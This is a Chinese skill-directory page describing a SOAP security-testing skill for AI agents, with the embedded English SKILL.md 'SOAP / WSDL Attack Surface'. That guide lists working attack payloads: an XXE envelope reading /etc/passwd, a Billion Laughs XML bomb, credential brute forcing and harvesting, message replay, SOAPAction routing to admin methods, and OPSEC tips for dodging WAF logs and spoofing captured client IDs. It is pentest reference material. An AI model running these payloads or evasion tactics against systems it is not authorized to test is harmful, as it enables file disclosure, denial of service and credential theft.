跳到正文
Skillpedia
安全6.5k · #14026

api-soap-wsdl

它能做什么

这份指南涵盖 SOAP 服务的安全检查。许多较旧的企业系统仍在使用 SOAP。适合审查支付、ERP 和政府对接系统的安全测试人员。

适用场景

  • ✓当授权审查发现一个由 WSDL 文件描述的 SOAP 服务时。
  • ✓当你想检查 SOAP 服务如何解析 XML 输入时。
  • ✓当 SOAP 服务发送凭据,而你需要检查其是否受到保护时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我们仍在运行一个基于 SOAP 的支付接口。请帮我检查它的公开描述和 XML 处理是否存在薄弱环节?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体阅读 WSDL 以了解提供了哪些操作,然后检查 XML 解析设置以及登录信息的传输方式。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

SOAP / WSDL Attack Surface

Legacy enterprise integrations still ship SOAP — payment processors, ERP middleware, government APIs, Java EE bus systems.

Discovery

# WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint
curl -sk "https://target/Service.asmx?wsdl" | xmllint --format -
curl -sk "https://target/Service.svc?wsdl" | xmllint --format -

# Generate a client from the WSDL
python -m zeep https://target/Service.asmx?wsdl
# OR
wsdl2java -uri https://target/Service.asmx?wsdl

Quick attack catalog

XXE in SOAP envelope

curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \
  -d '<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body>
</soap:Envelope>' https://target/Service.asmx

WS-Security UsernameToken brute / clear-text leak

The <wsse:UsernameToken> often carries <wsse:Password> in clear text. If the channel is HTTP (not HTTPS) or the proxy logs payload, harvest creds:

# WSPolicy may demand: Type="...#PasswordText"
curl -sk -X POST -d @ws-attack.xml https://target/svc
# Brute: cycle a username dict, observe response time/error class

WS-Addressing replay

SOAP responses often include <wsa:RelatesTo> referencing the request <wsa:MessageID>. Some servers don't validate freshness:

<wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID>

SAML in WS-Trust / SAML EncryptedAssertion

WS-Trust 1.3 RST/RSTR flows accept SAML tokens. Re-sign the assertion with the IdP's leaked cert OR exploit XML Signature Wrapping (XSW) — see the SAML skill for full XSW patterns.

Schema validation bypass

Many servers parse the SOAP envelope before validating against the XSD. Inject XML that's malformed-for-schema but valid-for-parser:

<soap:Body>
  <tns:Method>
    <tns:adminFlag>true</tns:adminFlag>   <!-- not in XSD, often honored -->
    <tns:arg>value</tns:arg>
  </tns:Method>
</soap:Body>

XML Bomb / Billion Laughs DoS

<!DOCTYPE x [<!ENTITY a "12345678"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]>
<x>&c;&c;&c;</x>

SOAPAction routing confusion

.NET ASMX picks the method by SOAPAction header, not body. Mismatch → call methods you shouldn't be able to:

curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \
  -d '<soap:Envelope>...PublicMethod body...</soap:Envelope>' \
  https://target/Service.asmx

Tooling

# SoapUI free / Postman SOAP — interactive probing
soapui --gui  # or non-GUI: testrunner.sh

# Burp Suite extensions: Wsdler, SAML Raider, XML Signature Wrapping

# python zeep — programmatic SOAP client (good for automation)
python3 -c "from zeep import Client; c = Client('https://target/Service.asmx?wsdl'); print(c.service.Method('arg'))"

OPSEC

  • WS-Addressing <wsa:MessageID> is logged in many WAFs — randomize per-request.
  • WS-Security headers reveal client identity; spoof realistic clientIDs from previously-captured requests.
  • SOAP fault messages leak stack traces — note them, but limit to one trigger per scan to avoid rate-limit alerts.

References

  • WS-Attacks.org — XSW, XXE, WS-Security variants catalog
  • OWASP "Testing for Web Services" — chapter on SOAP/WSDL
  • "Hacking SOAP" — Pauldotcom episode (older but still 100% applicable)
  • Burp extension: SAML Raider
常见问题

什么是 WSDL?

它是描述 SOAP 服务所提供的操作和数据格式的文件。

什么是 XML 外部实体问题?

它是 XML 解析器读取外部数据的弱点,该指南将其列为常见的 SOAP 风险。

为什么要检查凭据如何发送?

该指南指出,当流量未加密时,明文凭据是一种风险。

详情

作者的原始描述

SOAP / WSDL exploitation — WSDL enumeration via ?wsdl, XXE in SOAP envelope, WS-Addressing replay, WS-Security UsernameToken brute, SAML token injection in WS-Trust, schema validation bypass.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14026
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能